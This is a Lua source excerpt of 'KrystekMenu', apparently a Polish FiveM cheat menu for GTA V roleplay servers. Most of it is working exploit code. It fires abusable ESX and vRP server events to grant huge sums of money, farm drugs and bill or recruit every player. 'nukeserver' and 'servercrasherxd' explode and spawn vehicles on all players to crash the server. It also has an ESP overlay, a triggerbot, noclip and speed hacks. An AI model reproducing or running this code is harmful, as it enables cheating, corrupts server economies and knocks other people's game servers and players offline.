- SetPedWeaponTintIndex(GetPlayerPed(-1), 1198879012, i)
- i = i + 1
- if i == 7 then
- i = 1
- end
- end
- end
- if BlowDrugsUp then
- Citizen.CreateThread(
- function()
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellOpium')
- Citizen.Wait(1000)
- end
- )
- end
- if GlitchRPblack then
- Citizen.CreateThread(
- function()
- TriggerServerEvent('drugs:sell')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- Citizen.Wait(10000)
- end
- )
- end
- if LimitRpkurier then
- Citizen.CreateThread(
- function()
- --TriggerServerEvent('esx_kurier:StartHarvestMedic2')
- TriggerServerEvent('esx_kurier:sellkartaems2')
- Citizen.Wait(1000)
- end
- )
- end
- if MustGornik then
- Citizen.CreateThread(
- function()
- --TriggerServerEvent("route68_miner_job:givestone")
- --TriggerServerEvent("route68_miner_job:washing")
- --TriggerServerEvent("route68_miner_job:remelting")
- --TriggerServerEvent("route68_miner_job:selldiamond")
- --TriggerServerEvent("route68_miner_job:sellgold")
- --TriggerServerEvent("route68_miner_job:selliron")
- --TriggerServerEvent("route68_miner_job:sellcopper")
- TriggerServerEvent('MustKurier:Zaplata')
- Citizen.Wait(10)
- end
- )
- end
- if blowall then
- for bD = 0, 9 do
- TriggerServerEvent(
- '_chat:messageEntered',
- '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
- {
- 141,
- 211,
- 255
- },
- '^' .. bD .. 'Kocham Was :D'
- )
- end
- for i = 0, 128 do
- Citizen.Wait(500)
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0)
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
- end
- end
- if crosshair then
- ShowHudComponentThisFrame(14)
- end
- if crosshairc then
- bz('~r~+', 0.495, 0.484)
- end
- if crosshairc2 then
- bz('~r~.', 0.4968, 0.478)
- end
- if cN then
- local de = false
- local df = 130
- local dg = 0
- for f = 0, 128 do
- if NetworkIsPlayerActive(f) and GetPlayerPed(f) ~= GetPlayerPed(-1) then
- ped = GetPlayerPed(f)
- blip = GetBlipFromEntity(ped)
- x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
- distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
- if de then
- if NetworkIsPlayerTalking(f) then
- local dh = k(1.0)
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- dh.r,
- dh.g,
- dh.b
- )
- else
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- 255,
- 255,
- 255
- )
- end
- end
- if distance < df then
- if not de then
- if NetworkIsPlayerTalking(f) then
- local dh = k(1.0)
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- dh.r,
- dh.g,
- dh.b
- )
- else
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- 255,
- 255,
- 255
- )
- end
- end
- end
- end
- end
- end
- if showCoords then
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- bz('~h~<FONT COLOR="#00FFFF">X:~s~ ' .. roundx, 0.40, 0.00)
- bz('~h~<FONT COLOR="#00FFFF">Y:~s~ ' .. roundy, 0.48, 0.00)
- bz('~h~<FONT COLOR="#00FFFF">Z:~s~ ' .. roundz, 0.56, 0.00)
- end
- if showinfo2 then
- bz('~h~<FONT COLOR="#00FFFF"> ∑ discord.gg/3MxhKhR ∑ ', 0.00, 0.32)
- bz('~h~~b~ ∑ Menu by Krystek ∑ ', 0.00, 0.35)
- bz('~y~~h~ ∑ Twoje id ~w~: ~p~~h~' .. GetPlayerServerId(PlayerId()) .. ' ~y~~h~∑', 0.00, 0.38)
- bz('~h~<FONT COLOR="#23FF00"> ∑ ' .. GetPlayerName(PlayerId(-1)) .. ' : Konto Steam/SocialClub ∑ ~w~¦', 0.00, 0.41)
- end
- function carthieftroll()
- for i = 0, 128 do
- local bK = GetEntityCoords(GetPlayerPed(i))
- TriggerServerEvent('esx_carthief:alertcops', bK.x, bK.y, bK.z)
- end
- end
- function automaticmoneyesx()
- local m = KeyboardInput('UWAGA, wartosc moze sie sumowac!!!', '', 100)
- if cO then
- if m ~= '' then
- local confirm = KeyboardInput('Jestes tego pewny? y/n', '', 0)
- if confirm == 'y' then
- end
- av('~h~~g~Testowanie wszystkich ~y~ESX ~g~Triggerow~s~.', true)
- TriggerServerEvent('esx_carthief:pay', m)
- TriggerServerEvent('esx_jobs:caution', 'give_back', m)
- TriggerServerEvent('esx_fueldelivery:pay', m)
- TriggerServerEvent('esx_carthief:pay', m)
- TriggerServerEvent('esx_godirtyjob:pay', m)
- TriggerServerEvent('esx_pizza:pay', m)
- TriggerServerEvent('esx_ranger:pay', m)
- TriggerServerEvent('esx_garbagejob:pay', m)
- TriggerServerEvent('esx_truckerjob:pay', m)
- TriggerServerEvent('AdminMenu:giveBank', m)
- TriggerServerEvent('AdminMenu:giveCash', m)
- TriggerServerEvent('esx_gopostaljob:pay', m)
- TriggerServerEvent('esx_banksecurity:pay', m)
- TriggerServerEvent('esx_slotmachine:sv:2', m)
- TriggerServerEvent('scratchoffs:dispenseReward', m)
- elseif confirm == 'n' then
- av('~h~~b~Anulowano~s~.', false)
- else
- av('~h~~b~Niepoprawna kwota~s~.', true)
- av('~h~~b~Proba anulowana~s~.', false)
- end
- end
- end
- function vrpdestroy()
- for bD = 0, 9 do
- TriggerServerEvent(
- '_chat:messageEntered',
- '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
- {
- 141,
- 211,
- 255
- },
- '^' .. bD .. 'Kocham Was :D'
- )
- end
- TriggerServerEvent(
- 'lscustoms:payGarage',
- {
- costs = -99999999
- }
- )
- TriggerServerEvent('vrp_slotmachine:server:2', 999999999)
- TriggerServerEvent('Banca:deposit', 999999999)
- TriggerServerEvent('bank:deposit', 999999999)
- local di = GetPlayerServerId(PlayerId())
- for i = 0, 128 do
- TriggerEvent('bank:transfer', di, GetPlayerServerId(i), 99999999)
- end
- end
- if bv then
- esxdestroyv2()
- nukeserver()
- end
- function esxdestroyv2()
- Citizen.CreateThread(
- function()
- TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
- TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
- TriggerServerEvent('esx_carthief:pay', 9999999999)
- TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
- TriggerServerEvent('esx_pizza:pay', 9999999999)
- TriggerServerEvent('esx_ranger:pay', 9999999999)
- TriggerServerEvent('esx_garbagejob:pay', 9999999999)
- TriggerServerEvent('esx_truckerjob:pay', 9999999999)
- TriggerServerEvent('AdminMenu:giveBank', 9999999999)
- TriggerServerEvent('AdminMenu:giveCash', 9999999999)
- TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
- TriggerServerEvent('esx_banksecurity:pay', 9999999999)
- TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
- for bD = 0, 9 do
- TriggerServerEvent(
- '_chat:messageEntered',
- '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
- {
- 141,
- 211,
- 255
- },
- '^' .. bD .. 'Kocham Was :D'
- )
- end
- for i = 0, 128 do
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 1254756
- )
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 1254756
- )
- TriggerServerEvent(
- 'esx_billing:sendBill',
- GetPlayerServerId(i),
- 'Purposeless',
- 'Kocham Was :D',
- 43161337
- )
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(i), 'police', 3)
- TriggerServerEvent('NB:recruterplayer', i, 'police', 3)
- end
- end
- )
- end
- function giveeveryone()
- Citizen.CreateThread(
- function()
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- TriggerServerEvent("tostzdrapka:wygrankopremium")
- --TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
- --TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
- --TriggerServerEvent('esx_carthief:pay', 9999999999)
- --TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
- --TriggerServerEvent('esx_pizza:pay', 9999999999)
- --TriggerServerEvent('esx_ranger:pay', 9999999999)
- --TriggerServerEvent('esx_garbagejob:pay', 9999999999)
- --TriggerServerEvent('esx_truckerjob:pay', 9999999999)
- --TriggerServerEvent('AdminMenu:giveBank', 9999999999)
- --TriggerServerEvent('AdminMenu:giveCash', 9999999999)
- --TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
- --TriggerServerEvent('esx_banksecurity:pay', 9999999999)
- --TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
- for i = 0, 128 do
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 125475600
- )
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 125475600
- )
- end
- end
- )
- end
- function giveeveryonepower()
- Citizen.CreateThread(
- function()
- TriggerServerEvent("arisonarp:mandathajs", 99999999999, GetPlayerServerId(i))
- for i = 0, 128 do
- TriggerServerEvent(
- 'bank:transfer',
- GetPlayerServerId(i),
- 125475600
- )
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 125475600
- )
- end
- end
- )
- end
- function giveeveryonecloud()
- Citizen.CreateThread(
- function()
- TriggerServerEvent('loginhud2:payout', 99999999999999)
- for i = 0, 128 do
- TriggerServerEvent(
- 'bank:transfer',
- GetPlayerServerId(i),
- 125475600
- )
- end
- end
- )
- end
- function nukeserver()
- Citizen.CreateThread(
- function()
- local dj = 'Avenger'
- local dk = 'CARGOPLANE'
- local dl = 'luxor'
- local dm = 'maverick'
- local dn = 'blimp2'
- while not HasModelLoaded(GetHashKey(dk)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dk))
- end
- while not HasModelLoaded(GetHashKey(dl)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dl))
- end
- while not HasModelLoaded(GetHashKey(dj)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dj))
- end
- while not HasModelLoaded(GetHashKey(dm)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dm))
- end
- while not HasModelLoaded(GetHashKey(dn)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dn))
- end
- for bD = 0, 9 do
- TriggerServerEvent(
- '_chat:messageEntered',
- '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
- {
- 141,
- 211,
- 255
- },
- '^' .. bD .. 'Kocham Was :D'
- )
- end
- for i = 0, 128 do
- local dl =
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0) and
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
- end
- end
- )
- end
- if servercrasherxd then
- Citizen.CreateThread(
- function()
- local dj = 'Avenger'
- local dk = 'CARGOPLANE'
- local dl = 'luxor'
- local dm = 'maverick'
- local dn = 'blimp2'
- while not HasModelLoaded(GetHashKey(dk)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dk))
- end
- while not HasModelLoaded(GetHashKey(dl)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dl))
- end
- while not HasModelLoaded(GetHashKey(dj)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dj))
- end
- while not HasModelLoaded(GetHashKey(dm)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dm))
- end
- while not HasModelLoaded(GetHashKey(dn)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dn))
- end
- for i = 0, 128 do
- for ak = 100, 150 do
- local dl =
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true)
- end
- end
- end
- )
- end
- if VehSpeed and IsPedInAnyVehicle(PlayerPedId(-1), true) then
- if IsControlPressed(0, 209) then
- SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 100.0)
- elseif IsControlPressed(0, 210) then
- SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 0.0)
- end
- end
- if TriggerBot then
- local dp, Entity = GetEntityPlayerIsFreeAimingAt(PlayerId(-1), Entity)
- if dp then
- if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
- ShootPlayer(Entity)
- end
- end
- end
- DisplayRadar(true)
- if RainbowVeh then
- local dq = k(1.0)
- SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), dq.r, dq.g, dq.b)
- SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), dq.r, dq.g, dq.b)
- end
- if rainbowh then
- for i = -1, 12 do
- Citizen.Wait(100)
- local a8 = k(1.0)
- SetVehicleHeadlightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), i)
- SetVehicleNeonLightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), a8.r, a8.g, a8.b)
- if i == 12 then
- i = -1
- end
- end
- end
- if t2x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2.0 * 20.0)
- end
- if t4x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4.0 * 20.0)
- end
- if t10x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10.0 * 20.0)
- end
- if t16x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16.0 * 20.0)
- end
- if txd then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 500.0 * 20.0)
- end
- if tbxd then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9999.0 * 20.0)
- end
- if xdxd then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 90000.0 * 20.0)
- end
- if Noclip then
- local dr = 2
- local ds =
- IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
- PlayerPedId(-1)
- FreezeEntityPosition(PlayerPedId(-1), true)
- SetEntityInvincible(PlayerPedId(-1), true)
- local dt = GetEntityCoords(entity)
- DisableControlAction(0, 32, true)
- DisableControlAction(0, 268, true)
- DisableControlAction(0, 31, true)
- DisableControlAction(0, 269, true)
- DisableControlAction(0, 33, true)
- DisableControlAction(0, 266, true)
- DisableControlAction(0, 34, true)
- DisableControlAction(0, 30, true)
- DisableControlAction(0, 267, true)
- DisableControlAction(0, 35, true)
- DisableControlAction(0, 44, true)
- DisableControlAction(0, 20, true)
- local du = 0.0
- local dv = 0.0
- if GetInputMode() == 'MouseAndKeyboard' then
- if IsDisabledControlPressed(0, 32) then
- du = 0.5
- end
- if IsDisabledControlPressed(0, 33) then
- du = -0.5
- end
- if IsDisabledControlPressed(0, 34) then
- SetEntityHeading(PlayerPedId(-1), GetEntityHeading(PlayerPedId(-1)) + 3.0)
- end
- if IsDisabledControlPressed(0, 35) then
- SetEntityHeading(PlayerPedId(-1), GetEntityHeading(PlayerPedId(-1)) - 3.0)
- end
- if IsDisabledControlPressed(0, 44) then
- dv = 0.21
- end
- if IsDisabledControlPressed(0, 20) then
- dv = -0.21
- end
- end
- dt = GetOffsetFromEntityInWorldCoords(ds, 0.0, du * (dr + 0.3), dv * (dr + 0.3))
- local bL = GetEntityHeading(ds)
- SetEntityVelocity(ds, 0.0, 0.0, 0.0)
- SetEntityRotation(ds, 0.0, 0.0, 0.0, 0, false)
- SetEntityHeading(ds, bL)
- SetEntityCollision(ds, false, false)
- SetEntityCoordsNoOffset(ds, dt.x, dt.y, dt.z, true, true, true)
- FreezeEntityPosition(ds, false)
- SetEntityInvincible(ds, false)
- SetEntityCollision(ds, true, true)
- end
- end
- end
- )
- Citizen.CreateThread(
- function()
- FreezeEntityPosition(entity, false)
- local dw = 1
- local dx = true
- local dy = nil
- local dz = nil
- local dA = nil
- local dB = 1
- local dC = 1
- local dD = {
- 1.0,
- 2.0,
- 4.0,
- 10.0,
- 512.0,
- 9999.0,
- 99999.0
- }
- KrystekMenu.CreateMenu('KrystekMu', bs)
- KrystekMenu.SetSubTitle('KrystekMu', 'Zrobione By Krystek :D <3')
- KrystekMenu.CreateSubMenu('SelfMenu', 'KrystekMu', 'Menu Postaci')
- KrystekMenu.CreateSubMenu('TeleportMenu', 'KrystekMu', 'Menu Teleportu')
- KrystekMenu.CreateSubMenu('WeaponMenu', 'KrystekMu', 'Menu Broni')
- KrystekMenu.CreateSubMenu('AdvM', 'KrystekMu', 'Zaawansowane Menu')
- KrystekMenu.CreateSubMenu('LuaMenu', 'KrystekMu', 'Lua Menu')
- KrystekMenu.CreateSubMenu('VehicleMenu', 'KrystekMu', 'Menu Pojazdow')
- KrystekMenu.CreateSubMenu('OnlinePlayerMenu', 'KrystekMu', 'Gracze Online')
- KrystekMenu.CreateSubMenu('PlayerOptionsMenu', 'OnlinePlayerMenu', 'Menu Postaci Online')
- KrystekMenu.CreateSubMenu('Destroyer', 'AdvM', 'Menu Rozpierdolu')
- KrystekMenu.CreateSubMenu('ESXBoss', 'LuaMenu', 'ESX Boss Triggery')
- KrystekMenu.CreateSubMenu('ESXMoney', 'LuaMenu', 'ESX Pieniadze Triggery')
- KrystekMenu.CreateSubMenu('ESXBankomat', 'LuaMenu', 'ESX Bankomat')
- KrystekMenu.CreateSubMenu('ESXDrugs', 'LuaMenu', 'ESX Dragi i Inne')
- KrystekMenu.CreateSubMenu("MODEL", "LuaMenu", "Zmiana Postaci")
- KrystekMenu.CreateSubMenu("Dzwieki", "LuaMenu", "Dzwieki")
- KrystekMenu.CreateSubMenu('ESXCustom', 'LuaMenu', 'ESX Rozne Triggery')
- KrystekMenu.CreateSubMenu('VRPTriggers', 'LuaMenu', 'VRP Triggery')
- KrystekMenu.CreateSubMenu('MiscTriggers', 'LuaMenu', 'Inne Triggery')
- KrystekMenu.CreateSubMenu('crds', 'KrystekMu', 'Tworca')
- KrystekMenu.CreateSubMenu('ESXJobs', 'LuaMenu', 'ESX Prace')
- KrystekMenu.CreateSubMenu('ESXJobs2', 'PlayerOptionsMenu', 'ESX Prace Dowolne')
- KrystekMenu.CreateSubMenu('ESXTriggerini', 'PlayerOptionsMenu', 'ESX Triggery')
- KrystekMenu.CreateSubMenu('Trollmenu', 'PlayerOptionsMenu', 'Troll Menu')
- KrystekMenu.CreateSubMenu('WeaponTypes', 'WeaponMenu', 'Bronie')
- KrystekMenu.CreateSubMenu('WeaponTypeSelection', 'WeaponTypes', 'Bron')
- KrystekMenu.CreateSubMenu('WeaponOptions', 'WeaponTypeSelection', 'Opcje Broni')
- KrystekMenu.CreateSubMenu('ModSelect', 'WeaponOptions', 'Menu Borni Opcje')
- KrystekMenu.CreateSubMenu('CarTypes', 'VehicleMenu', 'Pojazdy')
- KrystekMenu.CreateSubMenu('CarTypeSelection', 'CarTypes', 'Moew :3')
- KrystekMenu.CreateSubMenu('CarOptions', 'CarTypeSelection', 'Opcje Pojazdow')
- KrystekMenu.CreateSubMenu('MainTrailer', 'VehicleMenu', 'Przyczepy do Przyczepienia')
- KrystekMenu.CreateSubMenu('MainTrailerSel', 'MainTrailer', 'Przyczepy Dostepne')
- KrystekMenu.CreateSubMenu('MainTrailerSpa', 'MainTrailerSel', 'Zresp Przyczepe')
- KrystekMenu.CreateSubMenu('GiveSingleWeaponPlayer', 'OnlinePlayerMenu', 'Pojedzyncza Bron')
- KrystekMenu.CreateSubMenu('ESPMenu', 'AdvM', 'ESP Menu')
- KrystekMenu.CreateSubMenu('LSC', 'VehicleMenu', 'LSC Customs')
- KrystekMenu.CreateSubMenu('tunings', 'LSC', 'Wizualny Tuning')
- KrystekMenu.CreateSubMenu('performance', 'LSC', 'Tuning Osiagow')
- KrystekMenu.CreateSubMenu('VRPPlayerTriggers', 'PlayerOptionsMenu', 'VRP Triggery')
- KrystekMenu.CreateSubMenu('BoostMenu', 'VehicleMenu', 'Boostuj Pojazd')
